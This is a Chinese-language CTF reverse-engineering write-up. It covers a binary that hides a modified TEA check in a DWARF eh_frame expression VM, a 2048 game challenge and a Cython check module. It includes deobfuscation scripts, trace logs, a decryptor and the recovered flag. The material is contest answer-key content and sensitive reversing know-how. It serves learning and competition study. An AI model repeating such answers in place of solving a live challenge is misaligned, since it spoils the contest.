flag通过r14, r15传到异常处理程序里,然后处理完再通过r13传回来,r13=0的时候就对了
现在问题是调试断不到有效函数里,疑似在库里有额外的长度检查和字符检查之类的
通过eh_frame段的异常处理栈帧来引导加密逻辑的:
$ readelf -wF re2
...
$ readelf -wf re2

在 eh_Frame 的结果里,sub_4011a0的栈回溯里有个tea的sum值2654435769 = 0x9e3779b9,还有几个 OP 是 11223344
感觉是main里触发了异常之后进入的第一个处理逻辑

000000a8 00000000000a0080 00000024 FDE cie=00000088 pc=00000000004011a0..000000000040120b 
  Augmentation data:     48 23 4a 00 
  DW_CFA_advance_loc: 1 to 00000000004011a1 
  DW_CFA_def_cfa_offset: 16 
  DW_CFA_offset: r6 (rbp) at cfa-16 
  DW_CFA_advance_loc: 3 to 00000000004011a4 
  DW_CFA_def_cfa_register: r6 (rbp) 
  DW_CFA_advance_loc: 4 to 00000000004011a8 
  DW_CFA_val_expression: r13 (r13) (DW_OP_lit11; DW_OP_lit22; DW_OP_constu: 33; DW_OP_constu: 44; DW_OP_constu: 2654435769; DW_OP_reg15 (r15); DW_OP_r
eg14 (r14); DW_OP_lit0; DW_OP_pick: 3; DW_OP_skip: 8; DW_OP_le; (Unknown location op 0xae)) 
  DW_CFA_advance_loc1: 89 to 0000000000401201 
  DW_CFA_def_cfa: r7 (rsp) ofs 8 
  DW_CFA_advance_loc: 1 to 0000000000401202 
  DW_CFA_def_cfa: r6 (rbp) ofs 16 
  DW_CFA_nop

https://github.com/go-delve/delve/blob/master/pkg/dwarf/op/opcodes.go
中间有花指令,去了不少花:

from ida_bytes import *

addr = 0x402241
while addr < 0x4A2347:
    addr += 1
    if get_byte(addr) == 0x2F and get_byte(addr + 2) == 0x00:
        patch_length = get_byte(addr + 1)
        patch_start = addr + 3
        for i in range(patch_start, patch_start + patch_length):
            patch_byte(i, 0x96)

找到了 巨大虚拟机

DW_OP_lit11;  # 经过调试,11 22 33 44 为TEA的Key
DW_OP_lit22; 
DW_OP_constu: 33; 
DW_OP_constu: 44; 
DW_OP_constu: 2654435769;  # 注意到这个是标准TEA加密的 delta.
DW_OP_reg15 (r15); 
DW_OP_reg14 (r14); 
DW_OP_lit0; 
DW_OP_pick: 3;  
DW_OP_plus;  
DW_OP_dup; 
DW_OP_pick: 3; 
DW_OP_dup; 
DW_OP_constu: 9246453814144344100; 
DW_OP_constu: 3482419137767051305; 
DW_OP_or; 
DW_OP_swap; 
DW_OP_drop; 
DW_OP_constu: 3355170828548290441; 
DW_OP_constu: 12456870883039105005; 
DW_OP_xor; 
.... 此处省略14w行 不过值得注意的是,后面的左右移动是没有被混淆的,也就是基本上没有垃圾,而左移64次,很容易让人联想到TEA

https://github.com/aclements/libelfin/blob/master/dwarf/expr.cc#L32 这是一个虚拟机实现
清理①下

a = open('clear1.txt').read().split('\n')
before = len(a)
a = [*map(str.strip, a)]
k = 0
cleared = ""
while k < len(a):
    if a[k].startswith('DW_OP_lit0;'):
        cleared += 'DW_OP_constu: 0;\n'
        k+=1
    elif a[k].startswith('DW_OP_lit1;'):
        cleared += 'DW_OP_constu: 1;\n'
        k+=1
    elif a[k].startswith('DW_OP_lit2;'):
        cleared += 'DW_OP_constu: 2;\n'
        k+=1
    elif a[k].startswith('DW_OP_lit3;'):
        cleared += 'DW_OP_constu: 3;\n'
        k+=1
    elif a[k].startswith('DW_OP_lit4;'):
        cleared += 'DW_OP_constu: 4;\n'
        k+=1
    elif a[k].startswith('DW_OP_lit5;'):
        cleared += 'DW_OP_constu: 5;\n'
        k+=1
    elif a[k].startswith('DW_OP_lit6;'):
        cleared += 'DW_OP_constu: 6;\n'
        k+=1
    elif a[k].startswith('DW_OP_constu') and a[k+1].startswith('DW_OP_constu') and a[k+2].startswith('DW_OP_rot') and a[k+3].startswith('DW_OP_drop') and a[k+4].startswith('DW_OP_drop'):
        k+= 5
    elif a[k].startswith('DW_OP_constu') and a[k+1].startswith('DW_OP_constu'):
        if a[k+2].startswith('DW_OP_swap'):
            cleared += a[k+1] +"\n" + a[k]+"\n"
            k += 3
        elif a[k+2].startswith('DW_OP_xor'):
            zz = len('DW_OP_constu: ')
            cleared += 'DW_OP_constu: ' + str(0xffffffffffffffff & (int(a[k][::-1][1:][::-1][zz:]) ^ int(a[k+1][::-1][1:][::-1][zz:])))+ ";\n"
            k += 3
        elif a[k+2].startswith('DW_OP_or'):
            zz = len('DW_OP_constu: ')
            cleared += 'DW_OP_constu: ' + str(0xffffffffffffffff & (int(a[k][::-1][1:][::-1][zz:]) | int(a[k+1][::-1][1:][::-1][zz:])))+ ";\n"
            k += 3
        elif a[k+2].startswith('DW_OP_and'):
            zz = len('DW_OP_constu: ')
            cleared += 'DW_OP_constu: ' + str(0xffffffffffffffff &(int(a[k][::-1][1:][::-1][zz:]) & int(a[k+1][::-1][1:][::-1][zz:])))+ ";\n"
            k += 3
        elif a[k+2].startswith('DW_OP_plus'):
            zz = len('DW_OP_constu: ')
            cleared += 'DW_OP_constu: ' + str(0xffffffffffffffff &(int(a[k][::-1][1:][::-1][zz:]) + int(a[k+1][::-1][1:][::-1][zz:])))+ ";\n"
            k += 3
        elif a[k+2].startswith('DW_OP_minus'):
            zz = len('DW_OP_constu: ')
            cleared += 'DW_OP_constu: ' + str(0xffffffffffffffff &(int(a[k][::-1][1:][::-1][zz:]) - int(a[k+1][::-1][1:][::-1][zz:])))+ ";\n"
            k += 3
        else:
            cleared += a[k] + '\n'
    elif a[k].startswith('DW_OP_constu') and a[k+1].startswith('DW_OP_not'):
        zz = len('DW_OP_constu: ')
        cleared += 'DW_OP_constu: ' + str(0xffffffffffffffff & (~int(a[k][::-1][1:][::-1][zz:]))) + ";\n"
        k += 2
    elif a[k].startswith('DW_OP_constu') and a[k+1].startswith('DW_OP_drop;'):
        k += 2
    elif a[k].startswith('DW_OP_constu') and a[k+1].startswith('DW_OP_swap;') and a[k+2].startswith('DW_OP_drop'):
        cleared += a[k+2] + '\n' + a[k] + '\n'
        k += 3
    elif a[k].startswith('DW_OP_constu') and a[k+1].startswith('DW_OP_dup'):
        zz = len('DW_OP_constu: ')
        cleared += a[k] + '\n' + a[k]  + '\n'
        k += 2
    elif a[k].startswith('DW_OP_dup') and a[k+1].startswith('DW_OP_drop'):
        k += 2
    elif a[k].startswith('DW_OP_rot;') and a[k+1].startswith('DW_OP_drop;') and a[k+2].startswith('DW_OP_drop;'):
        k += 3
    else:
        cleared += a[k] + '\n'
    k+=1

cleared = cleared[::-1][1:][::-1]

after = len(cleared.split('\n'))
print("cleared:", before - after)
cleared.strip() 
# 打开文件进行写入,如果文件不存在将会被创建
with open('clear1.txt', 'w') as file:
    file.write(cleared)

但是如此清理是有问题的,因为bra指令会改程序流程(往前/后跳转的字节数),所以不能这么去,只能通过调试解决:
输入通过硬件断点下断,运行能找到调用的地方,然后跟输入的值,再下硬件断点,然后运行,会跑到vm虚拟机的地方,然后删掉之前的硬件断点就可以开始调试了
2024-05-30T08:25:05.png
通过看字节码的key和deatle猜出是tea加密,在众多垃圾字节里面找到了少量shr和shl,可以通过这个定位加密开始的位置。偶然发现neg只有两个指令,在程序下断点验证发现这里是check。
调试VM的时候,由于vm对xor和add有非常多的垃圾指令,就很难让人定位到中间的那一部分(v0 + sum),所以指南观察旁边两部分,但是通过多次的动态调试,发现数据在最后2轮的时候有些许不同,在0x1e轮时,数据变了1,刚开始是一位整个加减1,但是发现v0--后,v1变化很大,而给中间括号的里面东西+1后,发现完美符合了结果,然后在最后一轮循环的时候(0x1f)轮,发现数据变化更大,猜测里面可能+2了,加上后,结果完美符合,然后最后在虚拟机指令neg的地方下断点,然后再在add的地方下断点(这样可以防止中间的一堆垃圾指令,感觉就是出题人防止你发现中间的sum旁边不小心加了1),然后就可以看到两个结果加起来,右边是我们魔改tea加密后的值,而左边的值x不知道是干啥的,但是把结果设置为0(总共进行了四次),然后发现就是对的(虚拟机退出后值是0就是答案正确),所以x很显然就是结果的负数,两个加起来为0就是正确,所以就有以下的EXP:

#include <iostream>
#include <stdint.h>

void encrypt(uint64_t* v, uint32_t* k) {
    uint64_t sum = 0;
    uint64_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (int i = 0; i < 32; i++) {
        sum += delta;
        if (i == 0x1e)
        {
            v0 += ((v1 << 4) + k0) ^ (v1 + sum + 1) ^ ((v1 >> 5) + k1);
            v1 += ((v0 << 4) + k2) ^ (v0 + sum + 1) ^ ((v0 >> 5) + k3);
        }
        else if (i == 0x1f)
        {
            v0 += ((v1 << 4) + k0) ^ (v1 + sum + 2) ^ ((v1 >> 5) + k1);
            v1 += ((v0 << 4) + k2) ^ (v0 + sum + 2) ^ ((v0 >> 5) + k3);
        }
        else
        {
            v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
            v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        }
    }
    v[0] = v0;
    v[1] = v1;
}

void decrypt(uint64_t* v, uint32_t* k) {
    uint64_t sum = 0;
    uint64_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (int i = 0; i < 32; i++) {
        sum += delta;
    }

    for (int i = 31; i >= 0; i--) {
        if (i == 0x1e)
        {
            v1 -= ((v0 << 4) + k2) ^ (v0 + sum + 1) ^ ((v0 >> 5) + k3);
            v0 -= ((v1 << 4) + k0) ^ (v1 + sum + 1) ^ ((v1 >> 5) + k1);
        }
        else if (i == 0x1f)
        {
            v1 -= ((v0 << 4) + k2) ^ (v0 + sum + 2) ^ ((v0 >> 5) + k3);
            v0 -= ((v1 << 4) + k0) ^ (v1 + sum + 2) ^ ((v1 >> 5) + k1);
        }
        else
        {
            v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
            v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        }
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}


int main()
{
    // v的值是从add那边扣出来的,后面加个0是为了方便输出字符串
    uint64_t v[3] = { -(int64_t)0xAD48DD59067C4282 , -(int64_t)0x323F2D5A909AF1A6, 0 };
    // key的值是通过调试,发现在右移/左移后,加上了它们,就是tea的逻辑
    uint32_t k[4] = { 11, 22, 33 ,44 };
    //encrypt(v, k);
    decrypt(v, k);
    std::cout << (unsigned char*)v;
    // We1c0me_7o_RCtF!
    return 0;
}

2048

逆向以及调试可得每次得分最大不能超过当前分数, 并且出一个 2048 就 win 一次, 选择直接当 2048 高手随便玩个几轮, 从 1w 分玩个几轮即可直接干到一伯 w , 得分够了退出即可得 flag .
2024-05-30T08:36:35.png

Noval cython

python3.10 import check_secret help(check_secret)能看到基本函数和数据

Help on module check_secret:

NAME
    check_secret

FUNCTIONS
    POINTER(...)

    addressof(...)
        addressof(C instance) -> integer
        Return the address of the C instance internal buffer

    algorithm1(...)

    algorithm2(...)

    algorithm3(...)

    algorithm4(...)

    algorithm5(...)

    algorithm6(...)

    algorithm7(...)

    algorithm8(...)

    alignment(...)
        alignment(C type) -> integer
        alignment(C instance) -> integer
        Return the alignment requirements of a C instance

    byref(...)
        byref(C instance[, offset=0]) -> byref-object
        Return a pointer lookalike to a C instance, only usable
        as function argument

    check(...)

    encrypt(...)

    get_errno(...)

    pointer(...)

    resize(...)
        Resize the memory buffer of a ctypes instance

    set_errno(...)

    sizeof(...)
        sizeof(C type) -> integer
        sizeof(C instance) -> integer
        Return the size in bytes of a C instance

DATA
    DEFAULT_MODE = 0
    RTLD_GLOBAL = 256
    RTLD_LOCAL = 0
    __test__ = {}
    cdll = <ctypes.LibraryLoader object>
    enc = [1386864498, 2877138732, 1628978326, 881564191, 1437614165, 4227...
    haha = [1272471749, 2262110437, 697301573, 1088211398]
    i = 3
    map = {'add': <built-in function algorithm1>, 'div': <built-in functio...
    memmove = <CFunctionType object>
    memset = <CFunctionType object>
    pydll = <ctypes.LibraryLoader object>
    pythonapi = <PyDLL 'None', handle 7f806481d2e0>
    sbox = [12, 17, 10, 6, 5, 27, 31, 15, 11, 8, 13, 21, 24, 1, 26, 22, 9,...
    xixi = [3540658286, 3391361277, 1321275334, 3918321625]

FILE
    /home/*******/check_secret.cpython-310-x86_64-linux-gnu.so

覆盖encrypt函数,打印参数观察,发现共有8次encrypt,每两次中间会使用sbox打乱顺序
覆盖掉map函数,由于encrypt函数不可直接看,但是map里面的东西是encrypt会进行调用的,所以可以分析出它的算法。通过分析:encrypt函数里会调用algorithm1-8,实际类似一个vm,打log看发现是TEA, Delta是0x12345678

import check_secret
from z3 import *

x = [BitVec(f"x{i}", 8) for i in range(4)]

def myAdd(a, b):
    print(f"{hex(a+b)}={hex(a)}+{hex(b)}")
    return (a+b)
def mySub(a, b):
    print(f"{hex(a-b)}={hex(a)}-{hex(b)}")
    return (a-b)
def myDiv(a, b):
    print(f"{hex(a//b)}={hex(a)}//{hex(b)}")
    return (a//b)
def myXor(a, b):
    print(f"{hex(a^b)}={hex(a)}^{hex(b)}")
    return (a^b)
def myMul(a, b):
    print(f"{hex(a*b)}={hex(a)}*{hex(b)}")
    return (a^b)
def myRsl(a, b):
    print(f"{hex((a<<b) & 0xffffffff)}={hex(a)}<<{hex(b)}")
    return ((a<<b) & 0xffffffff)
def myRsr(a, b):
    print(f"{hex(a>>b & 0xffffffff)}={hex(a)}>>{hex(b)}")
    return ((a>>b) & 0xffffffff)
def myMod(a, b):
    print(f"{hex(a%b)}={hex(a)}%{hex(b)}")
    return (a%b)

check_secret.map['add'] = myAdd
check_secret.map['sub'] = mySub
check_secret.map['div'] = myDiv
check_secret.map['xor'] = myXor
check_secret.map['mul'] = myMul
check_secret.map['rsl'] = myRsl
check_secret.map['rsr'] = myRsr
check_secret.map['mod'] = myMod

check_secret.encrypt([0xaaaaaaaa,0xbbbbbbbb,0xcccccccc,0xdddddddd], check_secret.xixi)
# print(check_secret.check('11111111111111111111111111111111'))
0xbbbbbbb0=0xbbbbbbbb<<0x4
0x18ec5e41e=0xbbbbbbb0+0xd30a286e
0xbbbbbbbb=0xbbbbbbbb+0x0
0x1357e5fa5=0x18ec5e41e^0xbbbbbbbb
0x5dddddd=0xbbbbbbbb>>0x5
0xd001eeda=0x5dddddd+0xca2410fd
0x1e57fb17f=0x1357e5fa5^0xd001eeda
0x2902a5c29=0xaaaaaaaa+0x1e57fb17f
0x12345678=0x0+0x12345678
0x2a5c290=0x902a5c29<<0x4
0x5166d256=0x2a5c290+0x4ec10fc6
0xa25eb2a1=0x902a5c29+0x12345678
0xf33860f7=0x5166d256^0xa25eb2a1
....
0x10411dd45=0x1e96dd8b3^0xed7c05f6
0x1d6f673f6=0xd2e496b1+0x10411dd45

对此我写了一个脚本来简化逻辑

s = open('./vmtrace.log').read()

cleared = s.split('\n')
clear = []
for i in range(len(cleared)):
    a, b = cleared[i].split('=')
    clear += [(a, b)]

finalList = []
for i, v in enumerate(clear):
    targ, expr = v
    replaced = False
    for j in range(i+1, len(clear)):
        a, b = clear[j]
        if b.find(targ) != -1:
            replaced = True
            b = b.replace(targ, "(" + expr + ")")
            clear[j] = a, b
    if not replaced:
        finalList.append((targ, expr))

for i in finalList:
    print(i)

得到简化的逻辑

('0x2902a5c29', '0xaaaaaaaa+(((((0xbbbbbbbb+0x0)<<0x4)+0xd30a286e)^(0xbbbbbbbb+0x0))^(((0xbbbbbbbb+0x0)>>0x5)+0xca2410fd))')
('0x1ea11d16c', '0x902a5c29+((((((0xbbbbbbbb+0x0)+((((0x902a5c29<<0x4)+0x4ec10fc6)^(0x902a5c29+(0x0+0x12345678)))^((0x902a5c29>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^(((0xbbbbbbbb+0x0)+((((0x902a5c29<<0x4)+0x4ec10fc6)^(0x902a5c29+(0x0+0x12345678)))^((0x902a5c29>>0x5)+0xe98cd7d9)))+(0x0+0x12345678)))^((((0xbbbbbbbb+0x0)+((((0x902a5c29<<0x4)+0x4ec10fc6)^(0x902a5c29+(0x0+0x12345678)))^((0x902a5c29>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd))')
('0x1ea6b44c6', '((0xbbbbbbbb+0x0)+((((0x902a5c29<<0x4)+0x4ec10fc6)^(0x902a5c29+(0x0+0x12345678)))^((0x902a5c29>>0x5)+0xe98cd7d9)))+((((0xea11d16c<<0x4)+0x4ec10fc6)^(0xea11d16c+((0x0+0x12345678)+(0x0+0x12345678))))^((0xea11d16c>>0x5)+0xe98cd7d9))')
('0x1902cbfc7', '0xea11d16c+((((0xea6b44c6<<0x4)+0xd30a286e)^(0xea6b44c6+((0x0+0x12345678)+(0x0+0x12345678))))^((0xea6b44c6>>0x5)+0xca2410fd))')
('0x163b63794', '0xea6b44c6+((((0x902cbfc7<<0x4)+0x4ec10fc6)^(0x902cbfc7+(((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))))^((0x902cbfc7>>0x5)+0xe98cd7d9))')
('0x1e9ac19b2', '0x902cbfc7+((((0x63b63794<<0x4)+0xd30a286e)^(0x63b63794+(((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))))^((0x63b63794>>0x5)+0xca2410fd))')
('0x18edc1966', '0x63b63794+((((0xe9ac19b2<<0x4)+0x4ec10fc6)^(0xe9ac19b2+((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xe9ac19b2>>0x5)+0xe98cd7d9))')
('0x2c3a855f2', '0xe9ac19b2+((((0x8edc1966<<0x4)+0xd30a286e)^(0x8edc1966+((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x8edc1966>>0x5)+0xca2410fd))')
('0x2071e8b8a', '0x8edc1966+((((0xc3a855f2<<0x4)+0x4ec10fc6)^(0xc3a855f2+(((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xc3a855f2>>0x5)+0xe98cd7d9))')
('0x2b03435a7', '0xc3a855f2+((((0x71e8b8a<<0x4)+0xd30a286e)^(0x71e8b8a+(((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x71e8b8a>>0x5)+0xca2410fd))')
('0x1a782bb51', '0x71e8b8a+((((0xb03435a7<<0x4)+0x4ec10fc6)^(0xb03435a7+((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xb03435a7>>0x5)+0xe98cd7d9))')
('0x1411d6f2f', '0xb03435a7+((((0xa782bb51<<0x4)+0xd30a286e)^(0xa782bb51+((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xa782bb51>>0x5)+0xca2410fd))')
('0x2d8f9ed17', '(0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))+(((((0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))<<0x4)+0x4ec10fc6)^((0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))>>0x5)+0xe98cd7d9))')
('0x1ba5af061', '(0x411d6f2f+(((((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))<<0x4)+0xd30a286e)^((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^(((0xa782bb51+((((0x411d6f2f<<0x4)+0x4ec10fc6)^(0x411d6f2f+(((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x411d6f2f>>0x5)+0xe98cd7d9)))>>0x5)+0xca2410fd)))+((((0xd8f9ed17<<0x4)+0xd30a286e)^(0xd8f9ed17+((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xd8f9ed17>>0x5)+0xca2410fd))')
('0x21e182d2a', '0xd8f9ed17+((((0xba5af061<<0x4)+0x4ec10fc6)^(0xba5af061+(((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xba5af061>>0x5)+0xe98cd7d9))')
('0x278d20e6b', '0xba5af061+((((0x1e182d2a<<0x4)+0xd30a286e)^(0x1e182d2a+(((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x1e182d2a>>0x5)+0xca2410fd))')
('0x136881e4b', '0x1e182d2a+((((0x78d20e6b<<0x4)+0x4ec10fc6)^(0x78d20e6b+((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x78d20e6b>>0x5)+0xe98cd7d9))')
('0x195993075', '0x78d20e6b+((((0x36881e4b<<0x4)+0xd30a286e)^(0x36881e4b+((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x36881e4b>>0x5)+0xca2410fd))')
('0x1523d7022', '0x36881e4b+((((0x95993075<<0x4)+0x4ec10fc6)^(0x95993075+(((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x95993075>>0x5)+0xe98cd7d9))')
('0x1b5c3222f', '0x95993075+((((0x523d7022<<0x4)+0xd30a286e)^(0x523d7022+(((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x523d7022>>0x5)+0xca2410fd))')
('0x2283c5db5', '0x523d7022+((((0xb5c3222f<<0x4)+0x4ec10fc6)^(0xb5c3222f+((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0xb5c3222f>>0x5)+0xe98cd7d9))')
('0x154c8bd30', '0xb5c3222f+((((0x283c5db5<<0x4)+0xd30a286e)^(0x283c5db5+((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x283c5db5>>0x5)+0xca2410fd))')
('0x15e4b3c01', '0x283c5db5+((((0x54c8bd30<<0x4)+0x4ec10fc6)^(0x54c8bd30+(((((((((((((0x0+0x12345678)+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))+(0x0+0x12345678))))^((0x54c8bd30>>0x5)+0xe98cd7d9))')
